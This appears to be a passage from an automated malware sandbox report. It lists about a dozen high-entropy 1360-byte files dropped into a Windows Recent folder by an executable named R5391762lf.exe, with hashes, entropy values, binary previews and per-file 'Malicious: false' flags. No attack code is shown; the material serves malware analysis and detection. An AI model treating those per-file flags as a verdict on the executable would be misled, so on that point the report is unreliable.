SSDEEP:	24:TOeCF4gHJBEJxfOqXoR3HSjUMt6xoFS2UlhvQpGHbdfzHSbq9rpkpD5PTAQ9Xq8X:TSFTHJqPsR3HHMtoPzGih7D91CV9XFuQ
MD5:	69CD536D42C1F5278C84C3543BDDAAE9
SHA1:	05F8DE481E120FCB472D33D84364A41BA85E338C
SHA-256:	901DB72CD39580FC06B0E454F4E33D5CB28810C192A69F5CF37F26D1327DD34C
SHA-512:	05DF08B31770C19D5B85EE2E87943D683FF82DE6C03A03CAB2ABEDF4CEBA57FF33B581A433B29FBCED195F590E8595B296ECC43E462BE9E8AEDDFEE43077CB82
Malicious:	false
Preview:	NEBFQe....Vq.....)`e/.'...a<_..1.y...ZN7`.hS.#.G....(.9jT...,.(....a.....c].R......f.8y9...f6"2.c2.fwl.j1Q.b.z....M..T..".2V....:^..8....X..5..>.../A..p)....#;Tz....?'.T...k;....M.F.._..Y...9.7gnrE...:..F...4.....#.O-..o...F...3...d?.j"Ol.....FX.D^.w.6.....E.d....H^..D<hyj._.:...:..~..s...iz..e..P=u...g.N..>7\|...\|..OO.....>..E.....Z...Q.G.4.-}.%......[...tU....B...{(..(.L.W..>..AE.X3...##.qp6...i\|.l.>.O.=.7-.IFP..4`..qf=.{..J7\....YM....`...-ab.4....(.q?Y.ni.:....-...~.....r.F.^.'..4.2S...J..0..s..}>9..13...C......TV..B.E%'..BY.g.m]..\.... Y..{xC.f..\|.v.?.....k.s........f '@....^p...=.R.>&....P-....G.[.v.1..ru...(..x..A..K.uZku......j.........../..'G.I...-(`H._...8.p'.......$..N7....:u......4.G.I.3....'.mi.@.RC9.....:f.=..wP......u....#....y..-jT.A9ak....g.=4..y+Ub..,.z ..r..J. ..Xal....8UE......f..})_...NcO.9<Z.\|......$q.!.=.-l%......T.9s.u;rr. ;Q...A...s...x..P.2.u.n..G+M..i..:WK;.T.^v..A..F~.h.wi.m.0..hda...F...,..B...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86101301441442
Encrypted:	false
SSDEEP:	24:yJXVaFTh5VSTcQFFFeligmOSAcNOZwLDEhIt1QVDXBB7NIs/8vW3Z6MFqvgXq8uQ:GaFVeT1X4cNcwLDEyt1Q34XGXFuED
MD5:	950955A182336E19DF4DE4158AE7B23A
SHA1:	269CEAFC0BB9EE607B8DBB63AA16D8E1EAC15A23
SHA-256:	6AFBF65B9028772C5D382A15A538E6139A1177735E56CBE9493A17184A754D1E
SHA-512:	3662B74DCAEB3B1343C8B9851319965622D702336C80BC205FD0FEB4A8C536D53BF0689ED7DAF81FBE54BE12475204A7CE3628A495B678D789D7765DABC9F7A3
Malicious:	false
Preview:	PIVFA.......Uv,!.\|f.v....N<I...9.)%.."A..6....B2...v.m...o...b..\u.N.5...-l..A.P..].EI....{..vz........3..).`..g..6..X.7~}.N..b.....4...)..6.B.....N.V~>s....89../.~.Y....kE...d..x..\|"p0j9.....V.y.jvp.MY.F..<C..a.S....[..[...q...R[...Dt..U.....#.1........G....x.z....\|C...}.]V9!._..y5.....1..L."O7..w..d.<u6.........[...9<;.G.p.j.B.....(5vy...?B..;./'.3Ci.X$...:..;..ISS ..qY.....3qw{KitsJ.....&..u.Kl.,."..%7... U.....b4..~FK.....R.....Z..Z..I.ev;l._.kh0\|.....,.x..\|).v...cCp.....N...u.<.....w..........I....x6.R^.B.v..[.1...4.2.ht5....~.^..i...[-~.'nX.....n.......;0...np.6_....)...q..^o4hA.[<c..\..EK..#..;2.b..\rGu3.F..A...........T3..'.....l....0...T..5\`.G8..j#..Q...v..3.:..VD...B!5Y..u.Y..bh.v.4.E6..V..R.6+u..f&u.M9[kZ`./;...s9.s[...XX2.5h.@I..A...ka..C.#E2.U.92T.'....tK.bV..+@...w...$!.{(..@...h...$.*X.W..4PB..=y.8..1<.S..Rc.....hh.......7.4.k~..n.S..;..h....=?.....v7{3...i.......\|...c>..b}V.X6?..H..._.....\2.p.p.+No./....(.+.z...j..Z.e...y....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84040642516264
Encrypted:	false
SSDEEP:	24:95VGpaXG9mE/NnUMcjCFYr5CCY46v2gykmbJ7QRtkOF5/kzTJXq8uWbD:95VY+G9mYtVhFW5CzvEkmbJROX/kzdXp
MD5:	52544133D441FAA1A91F88EB4CA6E749
SHA1:	966CCB57790AD2BE410A6C9CDAEBE5BEA4883A23
SHA-256:	12F3A738CD6AFFCFC2CA4EBAB24F08C9703B278D91AEC1EF28AF7CE78A1DB7B6
SHA-512:	ADB6884BAB8853306F0F14B93ED812035443F83A67F08442EBD702D1C0D0DA6F6D47D10202E40331E6B319169C55F8E9F42F431B46F7942976D05CE07E235747
Malicious:	false
Preview:	PIVFA..1..j.G.+....u..1n.C..-.n....020.O...L.k.!.}X....>Y.....b.:.(..RnC.r..}..\5.5.Dk..........v..X..f.,..g.\|.....Y#......n9.51HF....z....X5..JS.m.S..........i..#..P....(.:=EI....] ....v....q8.NR4[..Vf.4.....!>xJ.@...S..k..p..t7.=..U..m.l........3@....D...z.rZ..3./.lP..V...D`.s.6......w..`........NG...J..j8.o-.`....\..S.i...~.xw.C\%.......X..]....e..e..s"....j.....W...J....y.../...&.w...p...$.;..\&...\|m.%w).3...Y2...'y..`.y...4.v...;.q.[.>=.ct.. 1J5......T..j...B%...UDv....OCGY.........J..Vo%..k.]N!.\.>.....J.....m..s.[e.0.d.Y.B.d.F`...-k-e&...]C.J;......$...s4..'..\|.[.....p .o.dk..\|+.,6..qT`..eW..z...p'.......:C.e.s......x."..f.i..H.......f..c..>`....Fu...1M.=..!.p....._A2"J.._....c.8.@....+..R..F..<W.....\.......+.k....7...I..sb.a.a..a..c...j.......j.g\[...e.....S...5....Bf.w`.9u...%.<?Q-l...o..J......G`o.!. p,Dy1Mr.e..p....b.dR.c$.>.0C./...m.....".Z.f..@...fG7.K..}.....B?...#r...5..u..;.\|L.p...y..N3.5PB.p....Qg.l...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845826768275665
Encrypted:	false
SSDEEP:	24:XxtK3CUrASO2IxxP91X2JFecn2keL3Dm4TFC1HqiMF2yE3Ft7ykSB/8hq3Xq8uWX:XxI3CUrASb8h6FkLTmGFCNqiMF2yEVt2
MD5:	EA2CE435555DC204CA900F0783DB3733
SHA1:	30F985DD5F4C796F83C0CDA384BADB4399AE22AC
SHA-256:	1F00F3F628A11DDD45153E16D01928316AE036721091C9065B2A6D4B8B9DC431
SHA-512:	477A1137C258DE1A924DB89510C549E367330F8E1E1ACE212408E66873695320F2E680B0AC31850E36876E3910F000B87B25431F8D53F7DACB8DBB6DACDECB69
Malicious:	false
Preview:	PWCCAq..z.a.7.rs.<.....Rp.Z..hm}.^.(h.b.,....]...XHn&m9..:`a.B-.k.[.2.....sa...........o...v..n^6.....k..:..^..u%D3p......QD.....1~..]_.ic.wXR.Eh....6..NG....@...^..Ga.<.>%...I.~........B=IKH.@\..d....\|..m5.5..a..n..D.b..9!...c.......(o...3.0.q O.W.k.l.q..sI;2}1s..kk....\|.......i3..{..miV&....b..Y..O...X..u.._...2..S.Z={7.z..G.Qp~.SS..(.V..Z.;.Lr!k..o(...jLL.'....9%L.+.+....y....F.6.f5.K'...v...........D..g....A.a....:1..j.x.....mE....g...AQ...I.....>.B..v0[..Yc.rh.=x...G.+..k.T.>..1..L..,....2.{o)GL.>4.....k..0.......hD........v./-..nTR/1."#.....M..v......u.Q'.P[..E.?.V..V.-!.L..!v.q.0..8.......?.\.......9.4>g7..Gz4.`...1....0RiG.6R.X......:.....6AA.y....cw..+..?......./.......A.n./..8s.....>R ..d..29.9.m../M.,..2X ..n......L.E.(v?.....B>l..*...Ch...5...C.....I.s ....\|....\...j..;.5b%..f.n..N..-`d..}n.V.r."w.<r.."...m,..$..TF7....Y.../.g:Q..Gp].u66..yN[.....f..=d.e.fk.A.W..V...r.e.&=z.,.'2............_.g.Q.. ...n>8...w..j{.]..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8514548557283925
Encrypted:	false
SSDEEP:	24:gCn8n0uUd8CqUYG8KjMkwEObDLxLKHEexGIvfq0SRLIRCqe2tsfkEFl/iN4IdXq+:gC8n0uUdhqUsJbDNIxGIX3I9A0FlqN5f
MD5:	A5FF72D74EB99666D6A181B03D679CC2
SHA1:	FD1A4DF31C4C9B5289B88856AA1D3041F39780B5
SHA-256:	784B5CCE570BE277618F85506D37D6DA93FF7665FD4D5E340B59AFE7E1F93F01
SHA-512:	1755755D0DFE9B56C291BAA5B56812A0A12D2E97E42A154C3FD0FDAB071570166E1756506FC63B56B6268EDDEB97B6F649625BE4E3B94C286ECF1185CDB9008C
Malicious:	false
Preview:	QCFWYQ.{b ..&...?...0..uU.\..vW...Y.)..un.p.w@..?.(R.^H.......g>..D........4G.\|..yt......v\..]3.X.%..S...%.S.l..........`?a.1O....f.;......N.8...;...o.t .wT.....u..'-..d..mo[~...M.vc.>...iz.0]K5.p...P3..W.TX.e..}....ANU.:..c.......Y.\.1.."~].7......O.o..K..Ih..g..]7v.2....b..?z$n.y...neHiC:[N.G.?.....c-....:.._iQ..<\...SU..bm.......v.[0......;j..0.=J.[.,.Z..\|.O.I#.n/....d=..14....-cp.I.a....t......+.x..D...^.wSz...,tm.B.a9.P.^.2;....Y.s..2..#n<0wil.Q .}b.?[8..E:w. ./..>..?.w..c.q........O\|.u..<:6\|,.=..].w.T.8..m.[t.=KC....z..r.E-T..y.+n..=..Gz@W.3...@.T.n.D.J..;..r(.rDw+.....{q..(..wb.!l.$.I.U......z.U.>.....X.3.o..g5....ai..B=T\];..V..P.%c..."....uQ.@...5.$...\D.I..j.kp.......0....)e/%.~....V....h}h....{s.....<.xmK.B....M.[.....w#5E<.4.......)..=R.........Jvs[...L..?.6.......(....P..b...*....?g...>a....V....Q..I....{(.0..jL.BN.>..N.].......Z.....=...M........>R@....%/.K.]w.p..).....O..^....M.A.._\.1.\|..i...@...ive.FA..U

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818222392102568
Encrypted:	false
SSDEEP:	24:wI6NcS38PTkJxFQHaIWBU5ZBTijFsTki2/vq2F2ezrV2grGXq8uWbD:wWPoJfKDZkf/vq20ezJ2IGXFuED
MD5:	FE96BDB55AC80488757D991D543E1CDA
SHA1:	C966E31A90C479A3ADB5BA9C9AC476A37ED37C2D
SHA-256:	A9EB4691C4C20455405DA986FDA179ECC6BD77D19006BF5BE0F8EC69F66C3AAF
SHA-512:	EE1F3E6C31BCDC7170F4AFF002996FC4C637059FAD6A2E8D337BF33096A6D54DD28C11D67D96666C96306D756911807FF03A4FD125239295F932882C6AB9198E
Malicious:	false
Preview:	QCFWY.....HT...z.'O`..P....N..6.....G.........^Z.A.wsb.._nZ\...B....3(9r.@....zwA.ww5D....3..Nl....e.).......6..c...g..K^.Q....../....'.c..0X../.#.Eo^S..)-.z.8...(.k..4.f..+w....8.....,.w.?.x\|...S..P....L.z%...!\|..N......_..)\$.7...d.......;..@...#N._.D..-`g.}.._1..$..........C=....c..;.....)H!..........f..1.N.%5.3J)........%\.\|...e.Yc...=..$.w9D.\....@..&...?....)V...j.X.F.D..p...K.........-...Q..$.'e......T..v..I....9rPt~.Y..9......D....@T..S....2. ...@...K..{..NS...N..p..S...OC...'.Mj.~..Z. ./.....<..I.V.R.\.o.`........i..\z...9..c..0.?.Id.1v..lbZ...g...!..5S..,>c...Q.@..../.v...ct}.,...k.]7.3.7.T.S\|....:..B...9EX..+.....@.ms.Z......).@.2.!..![.... ..'oG$of.O...'.F+...[EyBb...k...Ju..M.sk.le....{mz..e.BI.ix...T...aCb+...........ob..'.$.I..s.c4.A... ......L7'E.h...\|.O.!x.....e.U.Y5p3M.....<....L..e.laAZ..'.i.....y.]....Y..A.iKn.OE......l.c.r.k..^?....s.... .....IKpn..C...{..C..?7..K..^..C2c.C.g..X...@.....Fp]..t...?....]...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852129756647211
Encrypted:	false
SSDEEP:	24:cgAFHzJdU7U9cbjWt1geWobuZhHUoRS4TE+iI/WlUtVs4Gv0jfsQWP6Xq8uWbD:KdiG7geWobs4JSWSPnyP6XFuED
MD5:	D990B2A59A4F24A313172AE68C3F0553
SHA1:	8DED51808A7B0029F174BE12B9EF15BAD32EC991
SHA-256:	027D551665BBADE03D66557650EBFFE32066019883621BC7FB3C22AA20F5A130
SHA-512:	80B2C81EA11E2814A03894710DB7C0AA573D78960CE5A43E0A36D8F524315D2CF4BE08B0207E78501D9BBF49CBF222971B0563A91F4E30E4738707CD1D142A91
Malicious:	false
Preview:	QNCYC....#3...O.zh@...]Lo...$.+..\|jt.K+y..Q.g.c..{...\|,..QZM..?..%C..t.%....\.......i...0...N......+../V..$.V..k...e.......h..U.P...a../..n...I..0.@.U..g...ks.hW....kS?..ge.f....#..;.....M..:...S...)B.c._.%.b.......,...yF...A..M.jd'....B....g.XC... .v.N..<.B\|.\.5.sT....1Y..4.....5...>.?...ha.O...O.......%...'=.E7...'v.Q..>$.P.;.xe'W...oe..B. .. ....+..>Y..L$z/.U.E`....v\!.7..J....~.b..'.v...r.E......7!...Xj=.....s.G...O...).\|..=....spfu....J....C..U.l#..)..xb.5....o_...qA......x1%..Zg..G..W..pV...@$..s!....;..O..t......U....k.>.H.Y.....@.W......&xE.:....u.@......8.. ......n8<.B.P..6......g.FF.#.k4I..j..\}....F..\|.w.....iF...oa......Y...4..S..+.@.~.. f.3eU..8.I:.eg.N.D.$.'O4....i>..,..&g........@{~..8..[..$.......q`.QP....V. ......be.aj.0_..?...Q."w!..$.[..F\..+)6.25~*.S...i&Z2..s.RAuOMmq...7..Q..AP.....T...=..l...^...k../...dg.,.D{+s..v8.N..{...k..u.....)v.A.<I.-.%.Ip+.%....f.$...2o..6......CV.........H...xgf..I......s.2

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QRUSBVEBEH.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863689087313243
Encrypted:	false
SSDEEP:	24:QCm3zSlThpgyZn6rwJZpwKycuDlDO9BNUxI6AIbUC7D9d3vLLdTcewnWXq8uWbD:TUSV3n6KfvWgSe6RUCdd3vLLQWXFuED
MD5:	CCC9353AD7A94A4248EDB40D5BE9C2A7
SHA1:	6794A8D754255AFA2DFDF92CAA95B9B3379E60E0
SHA-256:	3A5308E432E14051A3FB1F5D4CC591009102A7B9A23A3C15C1BBC03A1017885D
SHA-512:	4492F5393424B09F4EC31C781D7755A87A4BDFA6B26CA2869E01BA4ED2378FA6175A4F3BAE6BCEEB8CEDE026B8060744C67DB292F4022A6875CC97B9146E985D
Malicious:	false
Preview:	QRUSB.k.g>.2V=...1....l.;@.fDx.....e.nu.E...f'1._.\|...o.~.k..f...=x..2[....VwAf.R..5@..N.B,.$..:.K...3L..h...;._..y......^t...\f..}....(]..!h..59.K...}....+.e..y.................}.Yk@.1....\.qlJ.W=.HU..v/.P........D"?......n.b..A_.6....B.?D..... pv.....r....AC&=..~.N..^7.....C~..4.nsO.n.../...F/.....K&.@...k.YF....@M..f8;..a....Z.o..c.......Z.).Y...F...+...!.&...T..../..n"...t.+.q.._...Eq{\|.......4...[...L..6Bz....94._.....:r!.y..n......q.&..N.o....n...[).....M.A.....E.......z.Nn..,.gOM.6....'G\.......S.G....Q..s...!........+...J.....4-.5.A1.n..sk....}.}..m............4.ku...:..,vk0..Kc.&6....Z.3Y..g.R.w.....Y^.....G.,>.ty.M1P....O.{.........g...A...4.Di...!>`u]G.e.Vw....^..2W..P.3.9@,!...*.Hl.....hv..>J.iCn....A.;.YZ.).6l........h.......G......{...kY..../.LB.....S4..=Q...{=..H..<.....s5'.}..6............>........O...-.6.iN...W..l.m.W..P..&.%..B.~.f...E.....{8.r......._..>..mp.^....S...L.$....!...&T....U..m.z.....r.".v;.A..Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RNCDIJFLUP.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	PRO-PACK archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831351315173115
Encrypted:	false
SSDEEP:	24:iD5VZXoi0+9Ha29MpwkvfA1lFfwPRAjNC65MoKLXq8uWbD:85VZ4iJOpwk3AFuEC65MTXFuED
MD5:	8FABC6556E783C2283E7FDC2F7A5640D
SHA1:	2B07E716CB379A75467C1951E47A013E503FA23C
SHA-256:	E8B955550ECEA0E68DD12177C1B69C1E75F55813F9434D13AC84F2C66808F7A7
SHA-512:	D213FF9ED1C01DF4F495AC9AD76542D8CA776B2317A68CD12C8D6F0725837D6375BF3C950F732E3E3EEA8B4DE729AC37CE02142A3B7D3C2FC9E96C4C3885A5F8
Malicious:	false
Preview:	RNCDI...g.c...:.H..H.........mV.\|.....q.N.0f.......:...f#+...7..,.w..e {Zw...Q...+.+3.0x.u)...4.F.f('K.b{....O@..};LB...V.%...!h.{z.q[N..5...9....7.......i"z!....u.`....Yy...?...Z.i.KU..K..V..4}]kt.......%....-.l..CO..J.F0..[.QA.E..t......CR.m$m~.d..=..=.y..eA.&...../.......(......'...,va..=.7.4E6.Q.fd..8A..p]..i.)R...p}..dvn.a1f...M......g<..V....[....`..<.r_...q.W.0.P..y&......l.....po........9....W....W....3....h..j:o..\.......W.......w.\|.....3.&.....]M.....\|7...%..s.)..O..B.u?z....D........nG.pHYI....>p'9.....R.ks...D....7F%Kf..U...g..A...G.F=..w..%.....R..^.,!QjyN*.)..!.p.,......~.N.$.wB.X.6.Y.K~.{p5..J.s...A[......Tb...!'.C..L.zYcIk.9JNlt....2.-...O....I........Ef.r.....[.&...!......8../.W.K.J...4.....p....U I0..h@....5..c...Y$5.!.\|.Th...5.6..Q._o.....5.@..yf#....P'.....qg.\|v?.yLYam..^I..G..,...0.....y.....w.`.7.p..^C<.P...W.{2.x&..BT.{Kv.2..:+d...Q\|P..d\|A....X.......g..m...4.....Y..D.X/.9..z,.-..r1.. .i.y..+.9.2gN.N.S..GnsuQ

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850056400131309
Encrypted:	false
SSDEEP:	24:0o5dY3nn97aiyQqFRqbHcGQyID50soJOcm62AhK90Wktk6oIOUHXq8uWbD:0oI39zyQ0UbRQUvTfe695XFuED
MD5:	D9F35B7206C9B8AC856106A066CABA55
SHA1:	DF811D32D4D232CF71EA98AF22ACBF5376A9400E
SHA-256:	853C9493C0369C9BBC6EA45E814C6467AB5C7291F99B6D2222BC59057126C204
SHA-512:	DA7AFA71DB239309955549E1FF07D429FD1E394B6D11B420E104166B9035177A4B7BE06D5442FAF95070E2F5402E420508B6D5407082761BE98390EFD2557922
Malicious:	false
Preview:	SFPUS..........2.C[..tJZ.3.(.n8'.D.6.$.....F...0..v.$....-..HSh7U...G\|F..0./...h@...\.u...L,u...F....\....d.x'...Ce-r&5~v.n(x=6.. .T-...d..l.._~yh..S.h...........}h+.0.D/..]......:.r.d/./.WO....$.....R.![.....Q...S...\..].....\f.....2.C......S3..AUO)......,....$......WT=0.f.i:.....Q.{. .>..Sb...z.......\|.h...X....H.$i4...s%.Y...(wC-#.^G..Y..c;..O.:a..D&.c.n......0.:t........!2.w.~........T~b.e..$.R..@C..N'.[......<...n...l\Q...u.... .B.j7..$JP%..{.f.K................y..9....._g...M\|.Z.g!=....:.~....e...c ..^...}.uc...u..Sw.L_.sB.)k........LB.Di..E\|k......+..j."x.n&7KV...B.'.....2..?..s.P....Rrb?Z...6s.;..qO..L..\|...u.....g..Q..'..f...}.............,.7t.....nM......gC h...G..A.........o.beC6....?......ab\|V...v.I.:...kR.F7.......tt.>:":....z.LY.<....8]...{D.4~.h.-........q.Q......@;.l...L...vF.z.#....`....S.."`..`...tM.....[t..(.@Sd~..1.......qt..b..U..$#..y.C*a4...".C......z.&G..tI..'?z.+..'....?.13...j....=...uB..{.m.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843157204790934
Encrypted:	false
SSDEEP:	24:Hk5Zg8Ga58RYUhiSntNtGHb2APFiuF/xf6537Fu+aszVB25qdi0xYJvzXq8uWbD:E5S8GaaDXcHb2AP0e5f65k+aszVB2kpa
MD5:	0957336E3D8EB3D0205B48B13BDBAF5D
SHA1:	83850CD1B3FE40C4116A3035AFE8C3DA0C5F3863
SHA-256:	B3DD5D4A6B94F5B194B29FC858FFA21AD783A9870914C7E9B047FF6FDD6D6201
SHA-512:	112FE3443459532DB2D5DC8A5F814BA0FCBD4D6D11E6B7CD319313D384936D6B83CE3B1F7A7847ABC5369AED8DEE1573FF3E2F6DC2F93ECEAD3AFBB7454DF60B
Malicious:	false
Preview:	SFPUS..f.....,v6..#....F2...Z...j.`......+A.'.......#....0..e....k?..N.cT.t.#...p.@VUt..]....s....1..}....j...G..XT.r......@...'...D......9+.\|......;...U.....e^.W.F..Df:%...^..A.=.L..Ns.&5H2.....z.Q.K.'F9....K.!)...0.Vww...h..d......$Io.a..D....l.......e...kt././q:..'Z... .g.R......(...^.....H.\`....^N...m..C;.....Q.....c..h..t..S...n%...,r.....T.{d&.}:..x...;......?.r.#./.?...\....5..7..73i.EO...vp...K`4.b......`...zK..N].bp.....cr..D.....~..'.m.:.%.P..+T...8.v..~..2......l..e...7(..(..]..4=W....x..`.......A.}..H"..:R..W.k..S.Y}....Y.Tm.eh.6...AIN.LE.$.,..M.b..6...Q>....!....eJ.1.A......ElZ.#@.t....:nZ?..+.?a......?.DuQ.d(..3?.\+.1..t..]...ae......`]=..3.,...y.z.y)w...4^..?Z..s.]0...A.'...\!.3...A.........D...I.1Z.......c..r'&7X..u.w..........Z..,0aQ..:..r.V..A..)...mY.N+.}d./E.6.....,..E.....B.....x...D{u..WQ..&..2A..O....?%aj.[.K..P"..."Z.....rC7...@p...9t..w.M.Y/..H..).... y.#..YV:.K..'..T.5..-..a.tP.,.g..[.....w...`2.?'...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847135466051393
Encrypted:	false
SSDEEP:	24:6m1WROznCDiBCrjvuB1LuX8yuuMd+A7apwwwCbZJz3D3js2eMODH6zYBXq8uWbD:v1USCDOojSuX47jDirz3u7IYBXFuED
MD5:	F61F4BE40288C7F0EA563C3EE33AAFFD
SHA1:	2E63A7FC0B3173186618F85485B3AB5E30E5B082
SHA-256:	A43A40D6A7D2B5DF2EDE71F7A3E851D1F06331525F2020E4C8188494EAD2932C
SHA-512:	A1A6D7331E107500E205EF73B9CA4F4E3F23AED26B8FC7061D4559AFBC3781F9023D4075951EF0384F9176F45426EC24431D7CF6D1659762F6B3936D23FF6C69
Malicious:	false
Preview:	UNKRLC..(...y.l.0.h[\|\......2.{<...\|.R..TcA....F.....H.].t...@.t.W..exm.\....j..Dq......k.C......S...sP..H!Vd.4.s[SX...r.!..R...E.5...Q...p...}.[4.oK.{Q..D$.N.,....G.D...yz.e.....8'.@[N..M.......`.'h....r.....[....e.....32..mi.G.......o?TZW3.n6...K..E?Y..oG..b.:.... ....W,U..[<@#.V...-....gp\.w..\M%.IX...a.>6.wOh.I.....^..{.o.&:..../.+.4\|\/........."p..pD..4.d\|...n.7..'...>.^......+i).2K.Z......g......4.....J.......M....J.&..W_.[.......<...R....F...4C.t.Y....I.'........./.....r...F.hH..=\$).0..3.?/..q/.....Wz.I......X...&....W.9.@{..._J...N.>.R..l...~.k.lu....w..".c.I....L8..`I.?h..H.s.....0...rdb..8P.#..M.{`...y...RXb.Q..t5...........s.'.4.e.......=7..E..h!........~.........N#.bJ%)L.%.Ug.x...t...AG.fv..G..f.y\|....\.+.M.,yB.Q.ZD3$m.w?.gu...zw.}.?..t.9H.\..w.$?.6.{..........0...7Ib\|w%m.0.3...0.&.w.q....h......r[G..}..D5,..........w..j..d.&...*.0!Y."{.U~....;....._<;.4..Ib..(....V./.@....!8_......1Jfr`#.......3.I:.......y...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854143767548969
Encrypted:	false
SSDEEP:	24:KiCs5CGDZ/w+vDnCR4r/A198NwiYdAoP3hssfPJ02SjfKI69cMWZSYofuXq8uWbD:ysTY+2Sr/A1axChV3bSTMWprXFuED
MD5:	738545C342268463FD5155A34A3CD1FB
SHA1:	DE959C48EA483FDEACFD274C72A50F17A28F4B70
SHA-256:	F37B6E12EFDB07566B702CCD4F4F47A95F6048E3888BBE81A76FE3F1215106FA
SHA-512:	5AC68A116AA5AFF05DC32ED7FE4012067955872BD75C31D8A960143E9E1B4C8B95BC1D904E1A411488811E95284B8D9048BAA08A36601B21ED817979640E4DD6
Malicious:	false
Preview:	UNKRL......\|....Z...X.h......].>E.K.vO..\......A..T.....^!.'93....D.../K(.[.c...N.F:.]...........5..]....@..gA.......[....P1....\|..f v.Xx.I]P....y...W.......qT-..#.{....Vu:.l.D[......U.^..\.x......I..8...:.(..b..N....P..b.K3s..'..u.....7..?5\|z._Q.._%.....5......07.\:.....@..+.._g)...}.^6Q.\LP.....2....8..{#.p'..M.DA.VV."p..;........}.....z0...x.D,v.E<}...7H.......oiY.}..\0i..T ...t\..i.ByO..k2.M.S..y.9dt...}\.N...X.&pt.^`.8`?HfF.B.....>....2.>..C.^S.RAa.m^).(=....t3.......;..@..s..1..B.t.w3.?....`.(..g..sg.-.e.qpa....>Q=..)x.Q...........qy..cf.^..0.{..M..;..+1.1..L.J:.S...z..<.AQ.:.M.e...@.1_.R.F..KF.L..4.....{.v..yGx......tN.......W........(.).F...\..W...r.....!9B.o....8.VQ.Q..G../A.+...d..]..s....bQz%...a....<?....o9c5R!.:L..;\.rF,E...0q...f.?........N...2....A../Z.J...v..-..a......P.H.E.VX...d.2(.....O.A..}b...D...<-.nlw.t....FE.....n..y.m.fD..U..g,...w..G.@.-O.&.a-./..bn...:...D.">.._.y`.'....x\.U.<..Ybr..X\...C...~.u....<...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VFMANBAXKI.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848909332005759
Encrypted:	false
SSDEEP:	24:IJz3GqNg9M5KW2GFlE4JeJbJL1gK15zco+v+cIuz8lCWqQ8Xq8uWbD:IJTGpRGYJbV1g8zaQCWqJXFuED
MD5:	307ED61604C9794561DB148D35819B40
SHA1:	A10CB18E1D5BCEBAA31997F60A68FD020197FB14
SHA-256:	1457B5C41E370A32D35171B3791CDF8146D3F73E31BE5CC1DC6509DD7BEE8629
SHA-512:	7C7A4351B31170C5AA786FC5867F8BE2DAE3D9A0E54C992632E59938BD10E349A79CDE8AC7726631980879B41C556A73B2B5A26160D4CD96E8BF7E4768F1C38C
Malicious:	false
Preview:	VFMAN... ......7B.b..=.=...e..+.............(.Kt..HM.7...........w...8..:.YA..u....W....\|.......w.Z".}.Kf.............-....g.v..N....P.Z..=.S.+@.c......Q})].C/Q.J}y..$.^..@.TH..[ .U...O.....?_=....>.8s.A.r..b6V..A`.z.<.2E....ww/...?!].C....d..<.....q...h......_N(.3L.~.@S.t../{..fM..... [......E......mn..1.......k_.~$...f....!..eH........a-.....,3...Q....$..XI..N...-...". G..!^..A...kH.~E{W.........e......[........#..~..S^Z..e.V.:.....c.....%....<...+..k.....SP...~2.`zv.j.~......<.$..u.;..l.4[.......F-.a@`..1..........}~...0]...........y6..N..Hss...X._...[..:n.c4g....'$..n....gX.(m>.......6<=.e...mM...q ...9..Kqm.l...5C..DSbB...0B.....Q...`..Jq>q3.=....E4z.X...Z...CN..o....sl... ..I/9.8..=...s?Fyfh./Wl...EF.!..\|..F.8S..g......AR....-.T......x..o.w.h.B].^.........X....@X.$!...mg.%....83M...........n?..l..k.\C..Y..w........40.....b.o;)[t.w..q..[...;pc...Mh.Qv.<m.7.&.&.h.X..{..f.5z.TVQ....*..;.8+.+}.F....?..b....H .......N..%.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VFMANBAXKI.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
